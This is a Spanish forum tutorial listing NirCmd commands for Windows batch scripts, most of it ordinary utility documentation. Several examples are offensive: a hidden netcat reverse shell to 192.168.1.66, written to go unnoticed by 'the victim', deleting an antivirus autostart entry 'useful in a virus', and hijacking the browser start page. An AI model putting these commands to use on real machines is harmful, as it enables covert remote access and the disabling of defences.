Comandos Nircmd [Utiles para Batch]

Iniciado por leogtz, 25 Marzo 2008, 01:28 AM

0 Miembros y 1 Visitante están viendo este tema.

leogtz

Comandos Nircmd



Nircmd es una pequeña utilidad, que te permite hacer una gran variedad de acciones utiles, pero sin interfaz, como el CMD. Excelente para ponerlos en nuestros Batch`s. Y asi poder ejecutar cualquier tipo de Accion.
Algunas de las acciones que puede ejecutar son:
Puede crear accesos directos con iconos, abrir una clave del registro, editar una clave, transparentar ventanas, esconderlas. abrir el CDROM, ejecutar comandos del CMD, sacar mensajes mucho mejores que el feo msg * XXX de CMD, ejecutar comandos de manera remota, preguntar al usuario sobre una accion especifica, editar archivos .INI, iniciar el Wallpaper, apagar el monitor, crear todo tipo de accesos directos con iconos, cambiar los datos de accesado/modificado etc de un archivo o carpeta, vaciar la papelera, cambiar titulos de las ventanas, esconder el boton Inicio, copiar cosas al portapapeles y viceversa, hacer sonar Beeps, cambiar el volumen, mover el mouse, teclear texto en una ventana, dar un enter en alguna aplicacion, y muchisimas otras cosas mas. Todo esta explicado mas abajo.
Es solo un ejecutable de 28 KB, que no requiere instalacion ni nada, que pueden poner en %windir%\system32, para mas comodidad.
Cuando un comando no es reconocido o es incorrecto, salta la ventanita del Nircmd con la informacion del programa.
Nircmd puede trabajar en todos los SO's Windows de 32-bits.
Windows 9x/ME, Windows NT, Windows 2000, Windows XP, Windows Server 2003, y Windows Vista.
Pero algunos comandos solo trabajan en NT/2000/XP/2003/Vista.


El link de descarga directa desde la WEB del autor:

http://www.nirsoft.net/utils/nircmd.html


Variables de Sistema (Nircmd)
[/b]
Las variables Nircmd son usadas por el mismo programa, se ven un poco complejas pero son faciles de entender y muy utiles a la hora de utilizar los comandos Nircmd.
Cada variable empieza con el caracter ~ , seguida por el nombre de la variable encerrada con los caracteres $.
Ejemplo  ~$folder.desktop$ (Escritorio).

Clipboard           Representa el portapapeles.
sys.varname       Es opcion la puedes usar para representar cualquier variable de entorno del sistema
Ejemplo : ~$sys.windir$, ~$sys.username$, ~$sys.computername$, ~$sys.programfiles$, ~$sys.windir$, ~$sys.appdata$, ~$sys.clientname$, ~$sys.commonprogramfiles$, ~$sys.computername$, ~$sys.comspec$, ~$sys.homedrive$
~$sys.homepath$, ~$sys.logonserver$, ~$sys.number_of_processors$, ~$sys.OS$, ~$sys.path$, ~$sys.prompt$, ~$sys.sessionname$, ~$sys.systemdrive$, ~$sys.systemroot$,  ~$sys.tmp$, ~$sys.temp$,                     
Todas las variables de entorno. (Comando SET en Cmd.)


nir.exefile         Representa la ruta de Nircmd.exe
Ejemplo de uso de esta variable :  nircmd execmd copy "~$nir.exefile$" c:\
Donde:
execmd,                  Es un comando Nircmd para utilizar comandos DOS. Lo veremos mas adelante.
copy                       Comando DOS.
"$nir.exefile$"          La ruta de Nircmd.exe
c:\                        Hacia donde se copiara, en este caso Nircmd.exe 

folder.nircmd     Representa la ruta donde esta Nircmd.
Ejemplo de uso de esta variable : nircmd execmd msg * La ruta del ejecutable Nircmd.exe es : "~$folder.nircmd$"


folder.desktop    Representa el escritorio.
Ejemplo de uso de esta variable : nircmd execmd del "$folder.desktop$\calc.lnk"
Otro : nircmd execmd msg * La ruta de mi escritorio es "~$folder.desktop$"
En este caso borrariamos un acceso directo (calc.lnk) en el escritorio.
Ustedes pueden sustituir el DEL, y el MSG, por todo tipo de comandos del CMD.


folder.start_menu    Representa el la carpeta menu inicio.
Ejemplo de uso de esta variable :
nircmd execmd copy "~$folder.start_menu$\programas\*.*" c:\ En este caso copiaria todos los archivos que se encuentren en la subcarpeta de la carpeta Menu Inicio a mi disco local c:\ ....
Como dije antes ustedes pueden utilizar cualquier comando del CMD, para hacer lo que deseen.


folder.programs       Representa la carpeta Menu Inicio\Programas. (Bajo el menu inicio.)
Ejemplo de uso de esta variable :
nircmd shortcut "c:\windows\system32\calc.exe" "~$folder.programs$\Calculadoras" "Calculadora de Windows"
En este caso creariamos un acceso directo al menu Inicio, Todos los programas>Calculadoras y el nombre del acceso directo seria "Calculadoras de Windows".
El comando shortcut lo veremos mas delante.


folder.recent          Representa la carpeta de Documentos Recientes.
Ejemplo de uso de esta variable :
Ya que no a todos nos interesa que hemos abrieto recientemente, ya que es confidencial XD.
Borraremos todo de esa carpeta, (Acceso directos.) :
nircmd execmd del "~$folder.recent$\*.lnk*"Imaginen que hacemos un programa en Batch, que limpie toda la basura del PC, este comando seria muy util.)


folder.startup         Representa la carpeta Inicio
Ejemplo de uso de esta variable :
nircmd execmd msg * La ruta de la carpeta Inicio es "~$folder.startup$"


folder.favorites      Representa la carpeta Favoritos, donde estan todos los links a nuestras webs favoritas.
Ejemplo de uso de esta variable :
nircmd shortcut "C:\windows\system32\calc.exe" "~$folder.favorites$\Programas" "Calculadora"
Donde :
shortcut Es un comando para crear accesos directos. Lo veremos mas adelante.
"C:\windows\system32\calc.exe"     Es la ruta de un ejecutable, en este caso la calculadora de Windows.
"~$folder.favorites$\Programas"     Lo primero es una variable de entorno de Nircmd, la carpeta Programas, se creara, en la carpeta Favoritos, y por consiguiente aparecera en el menu Favoritos\Programas de Internet Explorer.
"Calculadora"                             Es el nombre del acceso directo que se creará.


folder.cookies          Representa la carpeta cookies.
Ejemplo de uso de esta variable :
nircmd execmd msg * La ruta de la carpeta cookies es "~$folder.cookies$"
Otro :
nircmd execmd del /f /q "~$folder.cookies$\*.txt*"
Imaginen que quieren limpiar toda la basura del PC, este comando tambien serviria. :~)


folder.appdata       Representa la carpeta Datos de Programa.
Ejemplo de uso de esta variable :
nircmd execmd msg * La ruta de la carpeta Datos de programa es : "~$folder.appdata$"

folder.common_desktop    Representa la carpeta Documments and settings\All Users\Escritorio
Ejemplo de uso de esta variable :
nircmd execmd msg * La ruta comun del escritorio es : "~$folder.common_desktop$"

folder.common_start_menu          Representa la carpeta menu Inicio de todos los usuarios. 
Ejemplo de uso de esta variable :
nircmd execmd msg * La ruta del menu inicio de todos los usuarios es  : "~$folder.common_start_menu$"

folder.common_programs            Representa la carpeta Menu Inicio\Programas
Ejemplo de uso de esta variable:
nircmd execmd msg * La ruta de la carpeta Menu Inicio\Programas es : "~$folder.common_programs$"

folder.common_startup               Representa la ruta %allusersprofile%\Menu Inicio\Programas\Inicio
Ejemplo de uso de esta variable :
nircmd execmd msg * La ruta Representa %allusersprofile%\Menu Inicio\Programas\Inicio
que es = "~$folder.common_startup$"


folder.common_favorites            Representa la ruta %allusersprofile%\Favoritos
Ejemplo de uso de esta variable :
nircmd execmd msg * Representa la ruta %allusersprofile%\Favoritos = "$folder.common_favorites$"

folder.windows                       Representa la carpeta %windir% o c:\windows
Ejemplo de uso de esta variable :
nircmd infobox "Tu sistema operativo esta en "~$folder.windows$"
Infobox, ya lo veremos mas adelante.

folder.system                        Representa la carpeta %windir%\system32
Ejemplo de uso de esta variable :
nircmd infobox "La carpeta donde se ejecuta Nircmd es "~$folder.system$"


Comandos Nircmd

Nota : Todos los comandos deben de llevar antes Nircmd o nircmd.exe.


Remote   Ejecuta un comando nircmd en una computadora remota.
                             Si se especifica el comando copy, nircmd se copiara asi mismo en la carpeta Windows de la maquina remota. El servicio Schedule tiene que estar iniciado. Y tienes que estar logueado en la maquina como Administrador. (Algo dificil noo?.).  Si se logra ejecutar el comando de manera remota, tardara mas o menos 60 segundos debido a las limitaciones del servicio Programado.
La sintaxis es :
nircmd [copy] \\Computadora ComandoNircmd
Ejemplo :
nircmd remote copy \\computadora infobox "Mensaje" "Titulo de mi mensaje"
Otro :
nircmd remote \\192.168.1.64 execmd msg * Hola
Esto lo probe primero iniciando una sesion Netbios, con una maquina en una Lan y si funciono.

Multiremote            Lo mismo que el anterior solo que este se ejecuta en varias computadoras de forma remota.
                  Si se especifica el parametro copy, Nircmd se copiara en el directorio Windows de las maquinas remotas.
Para ejecutar el comando en maquinas remotas, se debe hacer un archivo de texto, que contenga las maquinas remotas, donde se ejecutaran los comandos.
Algo asi:
\\computadora1
\\computadora2
\\servidor
\\MiPC
Sintaxis del comando :
nircmd [copy] "RutaDelArchivodeTexto" ComandoNircmd
Ejemplo:
nircmd multiremote copy "c:\computers.txt" lockwsnircmd multiremote "c:\computers.txt" infobox "Mensaje" "Titulo de mi mensaje"

cmdwait            Como su nombre lo dice, espera una cierta cantidad de milisegundos, para ejecutar el comando Nircmd especificado. Es algo parecido al PING -N XXX del CMD. Solo que en milisegundos. (1000 milisegundos = 1 segundo...creo.)
Ejemplos :
nircmd cmdwait 1000 screensaver
nircmd cmdwait 100 execmd msg * Hola (Combinando comandos Nircmd y comandos DOS.)
nircmd cmdwait 5000 execmd del /f /q c:\Hola.txt
nircmd cmdwait 10000 infobox "Mensaje" "Titulo de mi mensaje" 


Paramsfile          Este comando te permite ejecutar Comandos Nircmd en multiples veces, cargando uno o mas parametros desde un archivo de texto.
Ejemplo de uso :
Creamos un archivo llamado Nircmd.txt que contenga lo siguiente:
leo
leo1
leo2
leo3
leo4

Y nuestro comando seria asi :
nircmd paramsfile "%homedrive%:\nircmd.txt" "" "" execmd mkdir ~$fparam.1$
Esto nos crearia 5 carpetas, leo, leo1, leo2, leo3, y leo4 en el Disco Local. Ya que usamos el comando Dos mkdir, y tomamos los nombres desde el archivo de texto, con ~$fparam.1$.
Otro Ejemplo :
nircmd paramsfile "c:\dos.txt" "" "" execmd msg * Fecha y Hora : ~$fparam.1$ ~$fparam.2$
En el archivo c:\dos.txt tenia: %date% y %time%
Un ejemplo que trae la misma ayuda del programa:
Se crea un archivo de texto con estas caracteristicas :
user01, 123456
user02, abcfg
user03, 5fr23
user04, 33333

Comando :
nircmd paramsfile "c:\archivo.txt" "," "" execmd net user ~$fparam.1$ ~$fparam.2$ /ADD
El archivo que creamos (archivo.txt) contiene las lineas, primero el usario seguido de su password.
Luego usamos el comando DOS net user para crear los usuarios.
Y seguido usamos los parametros ~$fparam.1$, y ~$fparam.2$ que son los que toman, el texto del .txt.

Infobox         Este comando Nircmd muestra un simple mensaje en la pantalla. Es una buena sustitucion para el Msg * XXX, Infobox permite una gran cantidad de caracteres en el mensaje (Yo conte 95,040 caracteres. Casi me ocupa la mitad de la pantalla.).
Sintaxis :
nircmd infobox "Mensaje" "Titulo del mensaje"
Ejemplos :
nircmd infobox "Le informamos que apartir de hoy su SO sera un desastre!! XD..." "Advertencia"
Este comando serviria para mejorar nuestros programas Batch y que se vean un poco mejores.


Caracteres Especiales
[/b]

Hay ciertos caracteres que podemos usar para no crear confusion, ya que son usados por Nircmd.
~n            Pasa a una nueva linea.
Ejemplo :
nircmd infobox "Esta es la primera linea de mi mensaje ~n Esta es la segunda linea de mi mensaje" "Titulo de mi mensaje"
~q             Caracter de Comillas, como las comillas son muy utilizadas por el programa, hay que especificarlas con este parametro (~q).
Ejemplos :
nircmd infobox "~qEntre comillas~q" "Titulo de mi mensaje"
nircmd infobox "~qEntre comillas~q" "~qTitulo de mi mensaje entre comillas~q"

~t                 Caracter de tabulador, es como usar la tecla TAB.
Ejemplo :
nircmd infobox "RockoX~tXXXX" "Titulo de mi mensaje."
~xnn               Permite representar caractereas Ascii en dos digitos hexadecimales.
Ejemplo :
nircmd infobox "Caracter ~x75" "Titulo de mi mensaje"
nircmd infobox "Caracter ~x80" "Titulo de mi mensaje"

~$variable$       Representa una variable del sistema, la explicacion esta mas arriba.
Ejemplo :
Nircmd infobox "Su sistema operativo esta en su disco ~$sys.homedrive$" "Informacion de su PC"
Otro Ejemplo :
nircmd execmd msg * Su sistema operativo esta en su disco ~$sys.homedrive$
Creo que queda muy claro.
~~                  Representa el caracter ~ . Como el caracter es muy utilizado, se tiene que usar este parametro.

Seguimos con los comandos...

Qbox               Muestra un dialogo de pregunta en pantalla, si el usuario responde "Si", ejecutara un programa de Windows o archivo.
Sintaxis :
nircmd qbox "Texto del mensaje" "Titulo del mensaje" "Accion"
Ejemplo :
nircmd qbox "Desear abrir la consola de Comandos?" "Advertencia" cmd.exe
nircmd qbox "Desea ver la red?" "Informacion" cmd.exe /k net view
nircmd qbox "Desea ver los programas que se inician con Windows?" "Advertencia" nircmd.exe regedit "HKLM\Software\Microsoft\Windows\currentversion\run"     (Un ejemplo combinando ambos comandos. el comando Regedit lo veremos mas delante.)
nircmd qbox "Desea abrir su CDROM" "Advertencia" nircmd.exe cdrom open
nircmd qbox "Para que los cambios surtan efecto debe reinicar su sistema, desea reiniciar ahora?" "Adevertencia" shutdown -r -f -t 123

Este comando serviria mucho para nuestros programas en Batch.   ;D

Qboxcom          Muestra un dialogo de pregunta en pantalla, si el usuario contesta "Si" Ejecutara un comando Nircmd.
Sintaxis :
nircmd qboxcom "Mensaje" "Titulo del mensaje" Comando Nircmd
Ejemplo :
nircmd qboxcom "Desea bloquear su sesion?" "Advertencia" lockws
nircmd qboxcom "Desea abrir la Consola de comandos" "Advertencia" execmd start cmd.exe (Aqui ejecutamos comandos DOS, ya que usamos execmd.)

nircmd qboxcom "Desea abrir su CDROM?" "Advertencia" cdrom open


Script              Este comando permite ejecutar una secuencia de comandos almacenados en un archivo (.ncl)
La extension puede ser cualquiera, claro que no pueden usar una extension de un ejecutable .exe a menos que tu lo hayas creado asi.
Sintaxis :
nircmd script "ArchivoScript"
Ejemplo :
En un archivo creado con el Bloc de notas, ponemos esto (Yo lo guarde con extension .exe) : (Ustedes lo pueden guardar con cualquier extension.)
infobox "Este es el primer mensaje" "Titulo1"
infobox "Este es el segundo mensaje" "Titulo2"
infobox "Este es el tercer mensaje" "Titulo3"

Y para hacerlo correr :
nircmd script "c:\RockoX.exe"
Y obviamente en la ventana apareceran tres mensaje diciendo Este es el primer mensaje, segundo, etc.
Otro Ejemplo de este comando :
En nuestro Script ponemos esto :  (Yo lo guarde con extension .Hola.)
execmd md carpeta1
execmd md carpeta2
execmd md carpeta3

Lo ejecutamos :
nircmd script "C:\leo.Hola"
Y con esto creamos 3 carpetas en nuestro disco local. Carpeta1 2 y 3.
Regedit            Abre el registro de Windows con la Clave\Valor especificado.
Sintaxis :
Nircmd Regedit "Clave" "Valor"
Ejemplos :
Supongamos que queremos saber todo lo que se ejecuta con el sistema.
nircmd regedit "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
Supongamos que estamos haciendo una vacuna en Batch contra el Virus AMVO.exe
Y le decimos al usuario :
nircmd qboxcom "Desea explorar su registro para encontrar la clave AMVO, y asi eliminarla manualmente?" "AntiAMVO" regedit "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" "AMVO"

RegSetVal         Escribe una entrada en el Registro. El tipo de entrada puede ser de tipo sz o expand_sz (Alfanumerico) dword o Binario.Si la clave que quieres editar no existe se creara.
Sintaxis :
nircmd regsetval type "Clave" "Nombre del valor" "Valor nuevo"
Ejemplo :
Supongamos que quiero cambiar mi pagina de Inicio de Internet Explorer.
nircmd regsetval expand_sz "Hkey_Current_user\Software\Microsoft\Internet Explorer\Main" "Start Page" "www.RockoX.com"
Supongamos que queremos cambiar el texto que aparece en la barra de Titulo del Internet Explorer.
nircmd regsetval sz "Hkey_Current_user\Software\Microsoft\Internet Explorer\Main" "Window Title" "RockoXwasHere"
Y lo cambiariamos  :rolleyes:  :-X  :)  :xD
Bueno se entiende la idea no.

regdelval          Borra una entrada del registro.
Sintaxis :
nircmd regdelval "Clave" "Valor"
Ejemplo :
Queremos borrar la entrada que hace que se inicie el AMON del Nod32.
nircmd regdelval "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" "nod32kui"
Esto seria muy util en un virus.

RegdelKey             Borra una clave entera del Registro.
Sintaxis :
nircmd regdelkey clave
Ejemplo :
regdelkey "HKEY_CURRENT_USER\Software\Pruebas"
Aqui no pongo un ejemplo practico por que podemos dañar el registro. Ademas se entiende la idea.

Inisetval             Escribe un valor en un archivo .INI. Si el archivo no existe se creara automaticamente.
Sintaxis :
nircmd initsetval "Archivo.ini" "sección" "Clave" "Valor"
Ejemplo :
Supongamos que tenemos un archivo en tu disco local c: llamado leo.ini y contiene estas lineas :
[leo]                         (Que seria la sección.)
flaca=hermosa       :rolleyes:         (XD...)
[leo2]                       (Otra sección.)
flaca=bella                 (XD)    :rolleyes:

Y queremos editar, por ejemplo el flaca=hermosa por lo que sea, vamos a ver un ejemplo :
nircmd initsetval "c:\leo.ini" "leo" "flaca" "fea"
Donde "C:\leo.ini" es la ruta del archivo .ini a editar.
"leo"        Es una sección del archivo .ini    en este caso la sección [leo]
"flaca"      Es una clave bajo la sección [leo].
"fea"        Es el valor que le di a la clave "Flaca" bajo la sección LEO.

inidelval              Como su nombre lo indica Borra una clave\valor entero en un archivo .ini .
Sintaxis :
nircmd inidelval "archivo.ini" "sección" "Clave"
Ejemplo :
Usaremos el mismo archivo del comando anterior.
nircmd inidelval "c:\leo.ini" "leo2" "flaca"
Aqui borrariamos el valor flaca=bella de la sección [leo2] del archivo .ini del ejemplo anterior.

Inidelsec             Borra toda una sección completa en un archivo .ini, incluyendo todos los valores contenidos en la sección.
Sintaxis :
nircmd inidelsec "archivo.ini" "sección"
Ejemplo :
Seguimos usando el mismo archivo .ini de ejemplo.
Supongamos que queremos borra la sección [leo2] del archivo .ini creado.
nircmd inidelsec "c:\leo.ini" "leo2"
Con eso se borraria la sección [leo2].

regsvr                Registra o desregistra archivos .DLL ú .OCX.
                        Se pueden especificar dos parametros : reg o unreg, el primero para registrar y el segundo para lo contrario.
Sintaxis :
nircmd regsvr reg ó unreg "Archivo.ocx o dll" "archivo.txt"  (Lo del archivo es opcional, solo es para guardar los resultados del proceso en un archivo de texto, o log.)
Ejemplo :
Por ejemplo yo quise desregistrar la libreria msvcr71.dll
nircmd regsvr unreg "c:\windows\system32\msvcr71.dll" "c:\leo.txt"
Y me devolvio el archivo de texto en c:\ que decia asi :
Failed to load the registration function. (Falló)

rasdial                   Marca a una entrada RAS (VPN o entrada telefonica), sin desplegar ninguna interfaz de usuario. El nombre de la entrada es obligatorio.
Sintaxis :
nircmd rasdial "Nombre entrada" "Archivo de telefono" "Nombre de usario" "Password" "Dominio"
Ejemplo :
nircmd rasdial "My internet"
nircmd rasdial "VPN1" "" "usuario" "Password" "Midominio"

Si especificamos los parametros entre comillas "" Los valores por defecto seran usados.
Este comando no lo utilize, asi que no se si funciona bien o no.

inetdial                  Marca a una entrada RAS (VPN o entrada telefonica), y muestra un dialogo de informacion durante el proceso de marcado. Este comando solo funciona con Internet Explorer 4 para arriba. No trabaja en Win98.
Sintaxis :
nircmd inetdial "Nombre Entrada"
Ejemplo :
nircmd inetdial "VPN1"

Me voy a saltar este tipo de comandos ya que es raro que se usen ese tipo de procesos.


Exitwin
Sintaxis :
nircmd exitwin TipodeApagado opcionesAdicionales
Este comando termina con la sesion actual de Windows. El tipo de Apagado puede ser de los siguientes :
Logoff                  Termina la secion actual, desloguea la sesion actual y muestra la ventana de bienvenida para entrar con otro usuario. Similar al comando shutdown -l de Windows.
reboot                   Reinicia el sistema, similar a shutdown -r de Windows.
poweroff               Apaga completamente el Sistema, luego apaga el poder. (Solo para sistemas que soporten esta caracteristica)
shutdown                Simplemente apaga el sistema, sin reiniciar ni nada de lo anterior.

Opciones Adicionales de exitwin :
Force : Forza a las aplicaciones a cerrarse inmediatamente.
Forceifhung : Forza a las aplicaciones a cerrarse si estas no responden. (Solo en 2000/XP.)

Ejemplos :
nircmd exitwin reboot force
nircmd exitwin porweroff force
nircmd exitwin logoff forceifhung
nircd exitwin shutdown


Initshutdown             Inicia un apagado del sistema. Este comando es similar a exitwin, pero este comando tiene algunas caracteristicas que Exitwin no soporta, como poner un mensaje, tiempo de espera.
Sintaxis :
nircmd initshutdown "Mensaje" "TiempoEnSegundos" force o reboot
Force :  Forza a todas las aplicaciones a cerrarse y luego apaga.
reboot : Reinicia.
Ejemplos :
nircmd initshutdown "Apagando el sistema en 60 segundos" 60 reboot
nircmd initshutdown "" 0 force                (Omitimos el mensaje.)

El apagado lo podemos cancelar con el comando DOS Shutdown -a o con el comando siguiente.

Abotshutdown           Aborta el apagado iniciado con el comando anterior.
Sintaxis :
nircmd abortshutdown
Ejemplo :
nircmd qboxcom "El sistema se esta apagando, desea cancelar el apagado?" "Advertencia" abortshutdown

Lockws                    Bloquea la estacion. Es igual a teclear Windows+L.
Sintaxis :
nircmd lockws
Ejemplo :
nircmd qboxcom "Usted tiene ganas de ir al baño, desea bloquear su sesion, en lo que vuelve?" "Advertencia" lockws
:xD

monitor                     Cambia el estado del monitor. Y las acciones pueden ser las siguientes :
off : Apagar el monitor.
on : Encender el monitor.
low : Poner el monitor en su estado mas bajo.
Sintaxis :
nircmd monitor accion
Ejemplos:
nircmd monitor off
nircmd monitor on
nircmd monitor low


Screensaver                Arranca el Protector de pantalla.
Ejemplo :
nircmd screensaver

Standby                    Apaga el sistema y lo pone en modo standby. Si el parametro force es especificado, el sistema es forzado a ir al modo standby sin pedir permiso.
Claro que este comando solo trabaja si el modo standby es soportado.
Ejemplos :
nircmd standby force
nircmd standby



Hibernate                   Lo mismo que el ejemplo anterior, solo que este lo pone en modo hibernar.
Claro que tambien solo trabaja si el modo Hibernar esta soportado.
Ejemplos :
nircmd hibernate force
nircmd hibernate


Shortcut                Crea un acceso directo, (Con icono y todoooo!!!!!  :o )
Sintaxis :
Voy a poner la sintaxis del programa para no confundirnos.
nircmd shortcut [NombredelArchivo] [CarpetadondeSecreara] [Titulo del acceso directo] {Argumentos} {Icono} {Icon resource number} {ShowCmd} {Start in folder} {Atajo de teclado}
Explicacion de los parametros : (Todos los parametros deben ir entre comillas "" y por el orden de arriba.)
NombredelArchivo :    Crear un acceso directo a este archivo.
Folder :  La carpeta donde se creara el acceso directo, podemos usar las variables especialas como ~$folder.desktop$ y otras.
Titulo del acceso directo :      El titulo del acceso directo que se creara.
Argumentos : Parametros especiales, se puede omitir, Argumentos adicionales a ejecutar en el archivo.
Icono :  Parametro para poner un icono al acceso directo, se puede omitir, se debe de poner la ruta del icono, a utilizar.
Icon resource number : Parametro opcional, numero del recurso dentro del icono.
Francamente este parametro no lo utilizo, lo omito.
ShowCMD : Parametro opcional - Usa este parametro si tu quieres maximizar o minimizar la ventana del programa, Especifica "max" para maximizar o "min" para minimizar.
Start in Folder : Parametro opcional - Especifica la carpeta donde se lanzara el programa. Si no se especifica nada se lanzara desde la ruta donde esta El archivo (NombredelArchivo.)
Atajo de teclado : Parametro opcional - Especifica un atajo de teclado que activara el acceso directo. Ejemplo : Ctrl+Alt+A.
Ejemplos de uso :
Supongamos que tenemos un hermoso icono en el disco local c:\ y queremos crear un acceso directo a la calculadora de Windows (calc.exe) en el escritorio :
nircmd shortcut "c:\windows\system32\calc.exe" "~$folder.desktop$" "Calculadora freak" "" "c:\cd.ico"  "" "max" "" "Alt+Ctrl+c"
Se creara un acceso directo en el escritorio, con el nombre de "Calculadora Freak", con icono personalizado, y si vemos las propiedades del acceso directo veremos que la sección Ejecutar: estara como Maximizada, ya que especificamos "MAX", en las teclas de metodo abreviado estara el Atajo que especificamos.
Aqui pueden jugar un poco con las variables de Nircmd
Vamos a crearlo ahora en el menu inicio :
nircmd shortcut "c:\windows\system32\calc.exe" "~$folder.start_menu$" "Calculadora freak" "" "c:\cd.ico"  "" "min" "" "Alt+Ctrl+c"
Si se fijan estoy omitiendo algunos parametros con "".


Cmdshortcut                Crea un acceso directo a un Comando Nircmd.
Sintaxis :
nircmd cmdshortcut "RutaDondeSeCreara" Titulo del acceso directo" Comando
Ejemplo :
nircmd cmdshortcut "~$folder.desktop$" "Abrir el CDROM" cdrom open
nircmd cmdshortcut "~$folder.programs$" "Apagar Equipo" initshutdown "Apagar equipo en 60 segundos" 60 reboot


cmdshortcutkey             Es similar al anterior solo que este te permite especificar un Atajo de teclado.
Sintaxis :
nircmd cmdshortcutkey "RutaDondeSeCreara" "Titulo del acceso directo" "Atajo" Comando
Ejemplos :
nircmd cmdshortcutkey "~$folder.desktop$" "Abrir CDROM" "Ctrl+Shift+W" cdrom open d:
nircmd cmdshortcutkey "~$folder.desktop$" "Bloquear sesion" "Ctrl+Shift+W" qboxcom "Desea bloquear su sesion" "Advertencia" lockws


urlshortcut                 Crea un acceso directo a una URL. Podemos usar la variable ~$folder.favorites$ para agregarlo a los favoritos del navegador Internet Explorer.
Sintaxis :
nircmd urlshortcut "URL" "RutaDondeSeCreara" "Titulo del acceso directo"
Ejemplo :
nircmd urlshortcut "http://www.Youtube.com" "~$folder.desktop$" "YouTube"
nircmd urlshortcut "http://www.youtube.com" "~$folder.favorites$" "Youtube"
nircmd urlshortcut "http://www.youtube.com" "~$sys.homedrive$\Mis accesos directos" "Youtube.com"


Exec                       Corre una aplicacion, y se puede especificar los parametros necesarios de esa aplicacion   
Hay un parametro, que es Show/Hide para especificar si la aplicacion va a ser visible por el usuario o no.
Sintaxis :
nircmd exec show/hide "Programa con sus respectivos parametros"
Ejemplos :
Supongamos que estamos en una shell remota y queremos obtener otra shell, pero sin que se vea la pantalla del CMD.
nircmd exec hide "c:\windows\system32\nc.exe" -d -e cmd.exe 192.168.1.66 125
Asi obtendriamos otra shell y la victima ni cuenta.
Otro Ejemplo:
nircmd exec hide "c:\windows\system32\telnet.exe" 192.168.1.66 125
Otros Ejemplos:
nircmd exec hide "c:\windows\notepad.exe"
nircmd exec show "c:\windows\notepad.exe"      (Haganlo para que vean la diferencia.)

exec2                     Es similar a exec, solo que este trae otro parametro, que es Working Folder, que especifica la carpeta de trabajo de la aplicacion que abriste.
Sintaxis :
nircmd exec2 show/hide "Working Folder" "Aplicacion" Parametros de la aplicacion.
Ejemplos :
nircmd exec2 hide "c:\windows\system32" "c:\windows\system32\nc.exe" -d -e cmd.exe 192.168.1.66 126
nircmd exec2 show "c:\windows\system32" "c:\windows\system32\telnet.exe" 192.168.1.66 123
nircmd exec2 hide "c:\windows\system32" "c:\windows\system32\defrag.exe" /v c:   (Desfragmentariamos el disco C: pero no se veria nada en pantalla.)


execmd                     Ejecuta un comando DOS sin mostrar nada en pantalla.
Sintaxis :
nircmd execmd Comando
Ejemplos:
nircmd execmd msg * Bienvenidoooooo!!!!!!
nircmd execmd mkdir "~$folder.desktop$\Mis Cositas"
nircmd execmd copy "~$folder.desktop$\Batch.Lnk" "c:\Mis accesos directos"


shexec                      Abre o imprime un archivo deacuerdo a la extension y el registro. Por ejemplo un archivo con extension .doc sera abierto deacuerdo al programa predeterminado con el que lo tengamos configurado. Y las operaciones pueden ser open o print.
Sintaxis :
nircmd shexec "operacion" "archivo"
Ejemplos :
nircmd shexec "open" "c:\Documentos\Glucidos.doc"
nircmd shexec "print" "c:\Documentos\RockoX.txt"
nircmd shexec "print" "c:\Documentos\RockoX.pdf"
nircmd shexec "open" "http://www.youtube.com"


setfiletime                 Cambia el Creado/Modificado/Accesado de uno o mas archivos. El primer parametro debe ser el archivo a modificar. Los parametros de fecha deben de ser en este formato : "dd-mm-yyyy" (Dia, mes, año), Si el parametro de la fecha no es especificado, o se especifica vacio asi "", la fecha no será cambiado; Si especificas "now" como el parametro de fecha, sera cambiado a la fecha actual.
Sintaxis :
nircmd "ArchivoAModificar" "Creado  Modificado" "Accesado"
Ejemplos de uso :
nircmd setfiletime "c:\Hola.txt" "00-00-0000" "now" "now"
nircmd setfiletime "c:\Hola.txt" "now" "now" "now"
nircmd setfiletime "c:\Hola.txt" "24-06-2003 17:57:11" "" "22-11-2005 10:21:56"



Setfilefoldertime        Cambia el Creado/Modificado/Accesado de uno o mas archivos/carpetas. Este comando es similar al anterior, solo que este tambien permite cambiar la fecha a carpetas. Solo bajo 2000/XP.
Sintaxis:
nircmd setfilefoldertime "Archivo o carpeta" "Creado   Modificado" "Accesado"
Ejemplos de uso :
nircmd setfilefoldertime "c:\leo" "10-01-2003 11:22:12" "12-11-2002 02:34:11"
nircmd qboxcom "Desea cambiar los parametros de fecha de su carpeta" "Advertencia" setfilefoldertime "c:\leo" "10-01-2003 11:22:12" "12-11-2002 02:34:11"


Emptybin                  Vacia la papelera de reciclaje, se puede especificar el disco en el cual se limpiara, pero si me omite este parametro, todas las papeleras seran vaciadas.
Sintaxis :
nircmd emptybin [drive]
Ejemplos de uso :
nircmd emptybin c:
nircmd qboxcom "Desea vaciar la papelera de reciclaje en este momento?..." "Advertencia" emptybin c:
nircmd emptybin

Imaginen la utilidad de este comando en un programa en Batch, sobre limpieza.

Setdisplay                Cambia las resoluciones de pantalla. Los parametros de Ancho y alto, representan el numero de pixeles de tu pantalla. El parametro de [Color Bits] representa el numero de colores mostrados en tu pantalla.
{refresh rate} es un parametro opcional que especifica el lapso de refreso. Si tu especificas el parametro {-updatereg}, las nuevas configuraciones quedaran guardadas en el registro. Si tu especificas ambos parametros {-updatereg} y {-allusers}, las nuevas configuraciones quedaran guardadas en el Registro para todos los usuarios.
Sintaxis :
nircmd setdisplay [width] [height] [color bits] {refresh rate} {-updatereg} {-allusers}
nircmd setdisplay [ancho]  [alto]   [color bits] ...

Ejemplos de uso :
nircmd setdisplay 800 600 24 -updatereg
nircmd qboxcom "Desea cambiar sus resoluciones de pantalla?" "Advertencia" setdisplay 800 600 24 -updatereg
nircmd qboxcom "Desea cambiar sus resoluciones de pantalla?" "Advertencia" setdisplay 800 600 24 90
nircmd setdisplay 1024 768 8 -allusers

Este comando a mi no me funciono bien. Pero pruebenlo aver que tal.

Killprocess               Termina el proceso especificado. Tu Puedes especificar la ruta del proceso 'C:\Program Files\Internet Explorer\iexplore.exe', el nombre del proceso (iexplore.exe), o el PID del proceso usando el caracter /antes del PID.
Este comando es muy similar al taskkill o el tskill del CMD.
Sintaxis :
nircmd killprocess proceso
Ejemplos de uso :
nircmd killprocess iexplore.exe
nircmd killprocess calc.exe
nircmd killprocess "c:\windows\system32\calc.exe"
nircmd killprocess /1112


